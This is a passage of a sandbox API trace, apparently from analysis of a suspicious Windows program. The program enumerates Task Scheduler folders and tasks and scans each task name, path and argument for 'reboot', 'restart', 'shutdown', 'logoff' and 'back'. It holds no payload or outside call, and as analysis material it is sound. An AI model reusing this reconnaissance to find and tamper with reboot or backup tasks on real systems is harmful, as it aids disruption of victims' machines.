	[0066.256] IUnknown:Release (This=0x19a860) returned 0x0
	[0066.256] ITaskFolder:GetFolders (in: This=0x19a7e0, flags=0, ppFolders=0x43af8e0 | out: ppFolders=0x43af8e0*=0x19a860) returned 0x0
	[0066.502] ITaskFolderCollection:get_Count (in: This=0x19a860, pCount=0x43af8d4 | out: pCount=0x43af8d4*=94) returned 0x0
	[0066.502] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0066.502] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a9e0) returned 0x0
	[0066.505] IRegisteredTaskCollection:get_Count (in: This=0x19a9e0, pCount=0x43af854 | out: pCount=0x43af854*=0) returned 0x0
	[0066.505] IUnknown:Release (This=0x19a9e0) returned 0x0
	[0066.505] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a9e0) returned 0x0
	[0066.505] ITaskFolderCollection:get_Count (in: This=0x19a9e0, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.505] IUnknown:Release (This=0x19a9e0) returned 0x0
	[0066.505] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0066.505] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19a940) returned 0x0
	[0066.505] ITaskFolder:GetTasks (in: This=0x19a940, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19aa28) returned 0x0
	[0066.515] IRegisteredTaskCollection:get_Count (in: This=0x19aa28, pCount=0x43af854 | out: pCount=0x43af854*=2) returned 0x0
	[0066.515] IRegisteredTaskCollection:get_Item (in: This=0x19aa28, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ab68) returned 0x0
	[0066.515] IRegisteredTask:get_Name (in: This=0x19ab68, pName=0x43af860 | out: pName=0x43af860*="AD RMS Rights Policy Template Management (Automated)") returned 0x0
	[0066.515] IRegisteredTask:get_State (in: This=0x19ab68, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.517] IUnknown:Release (This=0x19ab68) returned 0x0
	[0066.517] IRegisteredTaskCollection:get_Item (in: This=0x19aa28, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19ab68) returned 0x0
	[0066.517] IRegisteredTask:get_Name (in: This=0x19ab68, pName=0x43af860 | out: pName=0x43af860*="AD RMS Rights Policy Template Management (Manual)") returned 0x0
	[0066.517] IRegisteredTask:get_State (in: This=0x19ab68, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.519] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x64) returned 0x28bc668
	[0066.519] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="reboot") returned 0x0
	[0066.519] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="restart") returned 0x0
	[0066.519] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="shutdown") returned 0x0
	[0066.519] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="logoff") returned 0x0
	[0066.519] wcsstr (_Str="ad rms rights policy template management (manual)", _SubStr="back") returned 0x0
	[0066.519] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28bc668) returned 1
	[0066.519] IRegisteredTask:get_Definition (in: This=0x19ab68, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19acd0) returned 0x0
	[0066.661] ITaskDefinition:get_Actions (in: This=0x19acd0, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19ad20) returned 0x0
	[0066.661] IActionCollection:get_Count (in: This=0x19ad20, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0066.661] IActionCollection:get_Item (in: This=0x19ad20, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b9c8) returned 0x0
	[0066.661] IAction:get_Type (in: This=0x19b9c8, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0066.662] IUnknown:Release (This=0x19b9c8) returned 0x1
	[0066.662] IUnknown:Release (This=0x19ad20) returned 0x1
	[0066.662] IUnknown:Release (This=0x19acd0) returned 0x0
	[0066.662] IUnknown:Release (This=0x19ab68) returned 0x0
	[0066.662] IUnknown:Release (This=0x19aa28) returned 0x0
	[0066.662] ITaskFolder:GetFolders (in: This=0x19a940, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b910) returned 0x0
	[0066.662] ITaskFolderCollection:get_Count (in: This=0x19b910, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.662] IUnknown:Release (This=0x19b910) returned 0x0
	[0066.662] TaskScheduler:IUnknown:Release (This=0x19a940) returned 0x0
	[0066.662] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b910) returned 0x0
	[0066.662] ITaskFolder:GetTasks (in: This=0x19b910, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b9a0) returned 0x0
	[0066.664] IRegisteredTaskCollection:get_Count (in: This=0x19b9a0, pCount=0x43af854 | out: pCount=0x43af854*=4) returned 0x0
	[0066.664] IRegisteredTaskCollection:get_Item (in: This=0x19b9a0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9d0) returned 0x0
	[0066.664] IRegisteredTask:get_Name (in: This=0x19a9d0, pName=0x43af860 | out: pName=0x43af860*="EDP Policy Manager") returned 0x0
	[0066.664] IRegisteredTask:get_State (in: This=0x19a9d0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.665] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877df8
	[0066.665] wcsstr (_Str="edp policy manager", _SubStr="reboot") returned 0x0
	[0066.665] wcsstr (_Str="edp policy manager", _SubStr="restart") returned 0x0
	[0066.665] wcsstr (_Str="edp policy manager", _SubStr="shutdown") returned 0x0
	[0066.665] wcsstr (_Str="edp policy manager", _SubStr="logoff") returned 0x0
	[0066.665] wcsstr (_Str="edp policy manager", _SubStr="back") returned 0x0
	[0066.665] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877df8) returned 1
	[0066.665] IRegisteredTask:get_Definition (in: This=0x19a9d0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aaa8) returned 0x0
	[0066.723] ITaskDefinition:get_Actions (in: This=0x19aaa8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aaf8) returned 0x0
	[0066.723] IActionCollection:get_Count (in: This=0x19aaf8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0066.723] IActionCollection:get_Item (in: This=0x19aaf8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae68) returned 0x0
	[0066.723] IAction:get_Type (in: This=0x19ae68, pType=0x43af84c | out: pType=0x43af84c*=5) returned 0x0
	[0066.723] IUnknown:Release (This=0x19ae68) returned 0x1
	[0066.723] IUnknown:Release (This=0x19aaf8) returned 0x1
	[0066.723] IUnknown:Release (This=0x19aaa8) returned 0x0
	[0066.723] IUnknown:Release (This=0x19a9d0) returned 0x0
	[0066.723] IRegisteredTaskCollection:get_Item (in: This=0x19b9a0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9d0) returned 0x0
	[0066.723] IRegisteredTask:get_Name (in: This=0x19a9d0, pName=0x43af860 | out: pName=0x43af860*="PolicyConverter") returned 0x0
	[0066.723] IRegisteredTask:get_State (in: This=0x19a9d0, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.724] IUnknown:Release (This=0x19a9d0) returned 0x0
	[0066.724] IRegisteredTaskCollection:get_Item (in: This=0x19b9a0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9d0) returned 0x0
	[0066.724] IRegisteredTask:get_Name (in: This=0x19a9d0, pName=0x43af860 | out: pName=0x43af860*="SmartScreenSpecific") returned 0x0
	[0066.724] IRegisteredTask:get_State (in: This=0x19a9d0, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.725] IUnknown:Release (This=0x19a9d0) returned 0x0
	[0066.725] IRegisteredTaskCollection:get_Item (in: This=0x19b9a0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9d0) returned 0x0
	[0066.725] IRegisteredTask:get_Name (in: This=0x19a9d0, pName=0x43af860 | out: pName=0x43af860*="VerifiedPublisherCertStoreCheck") returned 0x0
	[0066.725] IRegisteredTask:get_State (in: This=0x19a9d0, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.725] IUnknown:Release (This=0x19a9d0) returned 0x0
	[0066.725] IUnknown:Release (This=0x19b9a0) returned 0x0
	[0066.725] ITaskFolder:GetFolders (in: This=0x19b910, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19b9a0) returned 0x0
	[0066.726] ITaskFolderCollection:get_Count (in: This=0x19b9a0, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.726] IUnknown:Release (This=0x19b9a0) returned 0x0
	[0066.726] TaskScheduler:IUnknown:Release (This=0x19b910) returned 0x0
	[0066.726] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b910) returned 0x0
	[0066.726] ITaskFolder:GetTasks (in: This=0x19b910, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19a940) returned 0x0
	[0066.727] IRegisteredTaskCollection:get_Count (in: This=0x19a940, pCount=0x43af854 | out: pCount=0x43af854*=3) returned 0x0
	[0066.727] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aa08) returned 0x0
	[0066.727] IRegisteredTask:get_Name (in: This=0x19aa08, pName=0x43af860 | out: pName=0x43af860*="Microsoft Compatibility Appraiser") returned 0x0
	[0066.728] IRegisteredTask:get_State (in: This=0x19aa08, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.728] IUnknown:Release (This=0x19aa08) returned 0x0
	[0066.728] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aa08) returned 0x0
	[0066.728] IRegisteredTask:get_Name (in: This=0x19aa08, pName=0x43af860 | out: pName=0x43af860*="ProgramDataUpdater") returned 0x0
	[0066.728] IRegisteredTask:get_State (in: This=0x19aa08, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.738] IUnknown:Release (This=0x19aa08) returned 0x0
	[0066.738] IRegisteredTaskCollection:get_Item (in: This=0x19a940, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aa08) returned 0x0
	[0066.738] IRegisteredTask:get_Name (in: This=0x19aa08, pName=0x43af860 | out: pName=0x43af860*="StartupAppTask") returned 0x0
	[0066.738] IRegisteredTask:get_State (in: This=0x19aa08, pState=0x43af864 | out: pState=0x43af864*=1) returned 0x0
	[0066.741] IUnknown:Release (This=0x19aa08) returned 0x0
	[0066.741] IUnknown:Release (This=0x19a940) returned 0x0
	[0066.741] ITaskFolder:GetFolders (in: This=0x19b910, flags=0, ppFolders=0x43af8b4 | out: ppFolders=0x43af8b4*=0x19a940) returned 0x0
	[0066.742] ITaskFolderCollection:get_Count (in: This=0x19a940, pCount=0x43af8a8 | out: pCount=0x43af8a8*=0) returned 0x0
	[0066.742] IUnknown:Release (This=0x19a940) returned 0x0
	[0066.742] TaskScheduler:IUnknown:Release (This=0x19b910) returned 0x0
	[0066.742] ITaskFolderCollection:get_Item (in: This=0x19a860, index=0x43af8b0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5, varVal2=0x0), ppFolder=0x43af8d8 | out: ppFolder=0x43af8d8*=0x19b910) returned 0x0
	[0066.742] ITaskFolder:GetTasks (in: This=0x19b910, flags=0, ppTasks=0x43af878 | out: ppTasks=0x43af878*=0x19b9b0) returned 0x0
	[0066.743] IRegisteredTaskCollection:get_Count (in: This=0x19b9b0, pCount=0x43af854 | out: pCount=0x43af854*=4) returned 0x0
	[0066.743] IRegisteredTaskCollection:get_Item (in: This=0x19b9b0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9e0) returned 0x0
	[0066.743] IRegisteredTask:get_Name (in: This=0x19a9e0, pName=0x43af860 | out: pName=0x43af860*="appuriverifierdaily") returned 0x0
	[0066.744] IRegisteredTask:get_State (in: This=0x19a9e0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.748] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x2877df8
	[0066.748] wcsstr (_Str="appuriverifierdaily", _SubStr="reboot") returned 0x0
	[0066.748] wcsstr (_Str="appuriverifierdaily", _SubStr="restart") returned 0x0
	[0066.748] wcsstr (_Str="appuriverifierdaily", _SubStr="shutdown") returned 0x0
	[0066.748] wcsstr (_Str="appuriverifierdaily", _SubStr="logoff") returned 0x0
	[0066.748] wcsstr (_Str="appuriverifierdaily", _SubStr="back") returned 0x0
	[0066.748] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877df8) returned 1
	[0066.748] IRegisteredTask:get_Definition (in: This=0x19a9e0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aac8) returned 0x0
	[0066.768] ITaskDefinition:get_Actions (in: This=0x19aac8, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19ab18) returned 0x0
	[0066.768] IActionCollection:get_Count (in: This=0x19ab18, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0066.768] IActionCollection:get_Item (in: This=0x19ab18, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b358) returned 0x0
	[0066.768] IAction:get_Type (in: This=0x19b358, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0066.768] IUnknown:QueryInterface (in: This=0x19b358, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19b358) returned 0x0
	[0066.768] IExecAction:get_Path (in: This=0x19b358, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\AppHostRegistrationVerifier.exe") returned 0x0
	[0066.768] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x64) returned 0x28bc588
	[0066.768] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="reboot") returned 0x0
	[0066.768] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="restart") returned 0x0
	[0066.768] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="shutdown") returned 0x0
	[0066.768] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="logoff") returned 0x0
	[0066.769] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="back") returned 0x0
	[0066.769] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28bc588) returned 1
	[0066.769] IExecAction:get_Arguments (in: This=0x19b358, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0066.769] IUnknown:Release (This=0x19b358) returned 0x2
	[0066.769] IUnknown:Release (This=0x19b358) returned 0x1
	[0066.769] IUnknown:Release (This=0x19ab18) returned 0x1
	[0066.769] IUnknown:Release (This=0x19aac8) returned 0x0
	[0066.769] IUnknown:Release (This=0x19a9e0) returned 0x0
	[0066.769] IRegisteredTaskCollection:get_Item (in: This=0x19b9b0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9e0) returned 0x0
	[0066.769] IRegisteredTask:get_Name (in: This=0x19a9e0, pName=0x43af860 | out: pName=0x43af860*="appuriverifierinstall") returned 0x0
	[0066.769] IRegisteredTask:get_State (in: This=0x19a9e0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.769] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881e88
	[0066.769] wcsstr (_Str="appuriverifierinstall", _SubStr="reboot") returned 0x0
	[0066.769] wcsstr (_Str="appuriverifierinstall", _SubStr="restart") returned 0x0
	[0066.769] wcsstr (_Str="appuriverifierinstall", _SubStr="shutdown") returned 0x0
	[0066.769] wcsstr (_Str="appuriverifierinstall", _SubStr="logoff") returned 0x0
	[0066.770] wcsstr (_Str="appuriverifierinstall", _SubStr="back") returned 0x0
	[0066.770] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881e88) returned 1
	[0066.770] IRegisteredTask:get_Definition (in: This=0x19a9e0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa50) returned 0x0
	[0066.787] ITaskDefinition:get_Actions (in: This=0x19aa50, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aaa0) returned 0x0
	[0066.787] IActionCollection:get_Count (in: This=0x19aaa0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0066.787] IActionCollection:get_Item (in: This=0x19aaa0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19b360) returned 0x0
	[0066.787] IAction:get_Type (in: This=0x19b360, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0066.787] IUnknown:QueryInterface (in: This=0x19b360, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19b360) returned 0x0
	[0066.787] IExecAction:get_Path (in: This=0x19b360, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\AppHostRegistrationVerifier.exe") returned 0x0
	[0066.787] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x64) returned 0x28bc3c8
	[0066.787] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="reboot") returned 0x0
	[0066.787] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="restart") returned 0x0
	[0066.787] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="shutdown") returned 0x0
	[0066.787] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="logoff") returned 0x0
	[0066.787] wcsstr (_Str="%windir%\\system32\\apphostregistrationverifier.exe", _SubStr="back") returned 0x0
	[0066.787] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28bc3c8) returned 1
	[0066.787] IExecAction:get_Arguments (in: This=0x19b360, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0066.787] IUnknown:Release (This=0x19b360) returned 0x2
	[0066.787] IUnknown:Release (This=0x19b360) returned 0x1
	[0066.787] IUnknown:Release (This=0x19aaa0) returned 0x1
	[0066.787] IUnknown:Release (This=0x19aa50) returned 0x0
	[0066.787] IUnknown:Release (This=0x19a9e0) returned 0x0
	[0066.787] IRegisteredTaskCollection:get_Item (in: This=0x19b9b0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19a9e0) returned 0x0
	[0066.787] IRegisteredTask:get_Name (in: This=0x19a9e0, pName=0x43af860 | out: pName=0x43af860*="CleanupTemporaryState") returned 0x0
	[0066.787] IRegisteredTask:get_State (in: This=0x19a9e0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.801] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881da8
	[0066.801] wcsstr (_Str="cleanuptemporarystate", _SubStr="reboot") returned 0x0
	[0066.801] wcsstr (_Str="cleanuptemporarystate", _SubStr="restart") returned 0x0
	[0066.801] wcsstr (_Str="cleanuptemporarystate", _SubStr="shutdown") returned 0x0
	[0066.801] wcsstr (_Str="cleanuptemporarystate", _SubStr="logoff") returned 0x0
	[0066.801] wcsstr (_Str="cleanuptemporarystate", _SubStr="back") returned 0x0
	[0066.801] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881da8) returned 1
	[0066.801] IRegisteredTask:get_Definition (in: This=0x19a9e0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19aa50) returned 0x0
	[0066.859] ITaskDefinition:get_Actions (in: This=0x19aa50, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19aaa0) returned 0x0
	[0066.859] IActionCollection:get_Count (in: This=0x19aaa0, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0066.859] IActionCollection:get_Item (in: This=0x19aaa0, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19ae10) returned 0x0
	[0066.859] IAction:get_Type (in: This=0x19ae10, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0066.859] IUnknown:QueryInterface (in: This=0x19ae10, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19ae10) returned 0x0
	[0066.859] IExecAction:get_Path (in: This=0x19ae10, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\rundll32.exe") returned 0x0
	[0066.859] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x3e) returned 0x2873c30
	[0066.859] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0
	[0066.859] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0
	[0066.859] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0
	[0066.859] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0
	[0066.859] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="back") returned 0x0
	[0066.859] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2873c30) returned 1
	[0066.859] IExecAction:get_Arguments (in: This=0x19ae10, pArgument=0x43af858 | out: pArgument=0x43af858*="Windows.Storage.ApplicationData.dll,CleanupTemporaryState") returned 0x0
	[0066.859] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x74) returned 0x287a038
	[0066.859] wcsstr (_Str="windows.storage.applicationdata.dll,cleanuptemporarystate", _SubStr="reboot") returned 0x0
	[0066.859] wcsstr (_Str="windows.storage.applicationdata.dll,cleanuptemporarystate", _SubStr="restart") returned 0x0
	[0066.859] wcsstr (_Str="windows.storage.applicationdata.dll,cleanuptemporarystate", _SubStr="shutdown") returned 0x0
	[0066.859] wcsstr (_Str="windows.storage.applicationdata.dll,cleanuptemporarystate", _SubStr="logoff") returned 0x0
	[0066.859] wcsstr (_Str="windows.storage.applicationdata.dll,cleanuptemporarystate", _SubStr="back") returned 0x0
	[0066.859] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287a038) returned 1
	[0066.859] IUnknown:Release (This=0x19ae10) returned 0x2
	[0066.860] IUnknown:Release (This=0x19ae10) returned 0x1
	[0066.860] IUnknown:Release (This=0x19aaa0) returned 0x1
	[0066.860] IUnknown:Release (This=0x19aa50) returned 0x0
	[0066.860] IUnknown:Release (This=0x19a9e0) returned 0x0
	[0066.860] IRegisteredTaskCollection:get_Item (in: This=0x19b9b0, index=0x43af828*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), ppRegisteredTask=0x43af888 | out: ppRegisteredTask=0x43af888*=0x19aec0) returned 0x0
	[0066.860] IRegisteredTask:get_Name (in: This=0x19aec0, pName=0x43af860 | out: pName=0x43af860*="DsSvcCleanup") returned 0x0
	[0066.860] IRegisteredTask:get_State (in: This=0x19aec0, pState=0x43af864 | out: pState=0x43af864*=3) returned 0x0
	[0066.863] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ace0
	[0066.863] wcsstr (_Str="dssvccleanup", _SubStr="reboot") returned 0x0
	[0066.863] wcsstr (_Str="dssvccleanup", _SubStr="restart") returned 0x0
	[0066.863] wcsstr (_Str="dssvccleanup", _SubStr="shutdown") returned 0x0
	[0066.863] wcsstr (_Str="dssvccleanup", _SubStr="logoff") returned 0x0
	[0066.863] wcsstr (_Str="dssvccleanup", _SubStr="back") returned 0x0
	[0066.863] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ace0) returned 1
	[0066.863] IRegisteredTask:get_Definition (in: This=0x19aec0, ppDefinition=0x43af870 | out: ppDefinition=0x43af870*=0x19af98) returned 0x0
	[0066.918] ITaskDefinition:get_Actions (in: This=0x19af98, ppActions=0x43af87c | out: ppActions=0x43af87c*=0x19afe8) returned 0x0
	[0066.918] IActionCollection:get_Count (in: This=0x19afe8, pCount=0x43af850 | out: pCount=0x43af850*=1) returned 0x0
	[0066.918] IActionCollection:get_Item (in: This=0x19afe8, index=1, ppAction=0x43af880 | out: ppAction=0x43af880*=0x19be20) returned 0x0
	[0066.918] IAction:get_Type (in: This=0x19be20, pType=0x43af84c | out: pType=0x43af84c*=0) returned 0x0
	[0066.918] IUnknown:QueryInterface (in: This=0x19be20, riid=0x15606c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x43af884 | out: ppvObject=0x43af884*=0x19be20) returned 0x0
	[0066.918] IExecAction:get_Path (in: This=0x19be20, pPath=0x43af85c | out: pPath=0x43af85c*="%windir%\\system32\\dstokenclean.exe") returned 0x0
	[0066.918] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x46) returned 0x2894920
	[0066.918] wcsstr (_Str="%windir%\\system32\\dstokenclean.exe", _SubStr="reboot") returned 0x0
	[0066.918] wcsstr (_Str="%windir%\\system32\\dstokenclean.exe", _SubStr="restart") returned 0x0
	[0066.918] wcsstr (_Str="%windir%\\system32\\dstokenclean.exe", _SubStr="shutdown") returned 0x0
	[0066.918] wcsstr (_Str="%windir%\\system32\\dstokenclean.exe", _SubStr="logoff") returned 0x0
	[0066.918] wcsstr (_Str="%windir%\\system32\\dstokenclean.exe", _SubStr="back") returned 0x0
	[0066.918] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2894920) returned 1
	[0066.918] IExecAction:get_Arguments (in: This=0x19be20, pArgument=0x43af858 | out: pArgument=0x43af858*=0x0) returned 0x0
	[0066.918] IUnknown:Release (This=0x19be20) returned 0x2
	[0066.918] IUnknown:Release (This=0x19be20) returned 0x1
	[0066.918] IUnknown:Release (This=0x19afe8) returned 0x1
	[0066.918] IUnknown:Release (This=0x19af98) returned 0x0
	[0066.919] IUnknown:Release (This=0x19aec0) returned 0x0
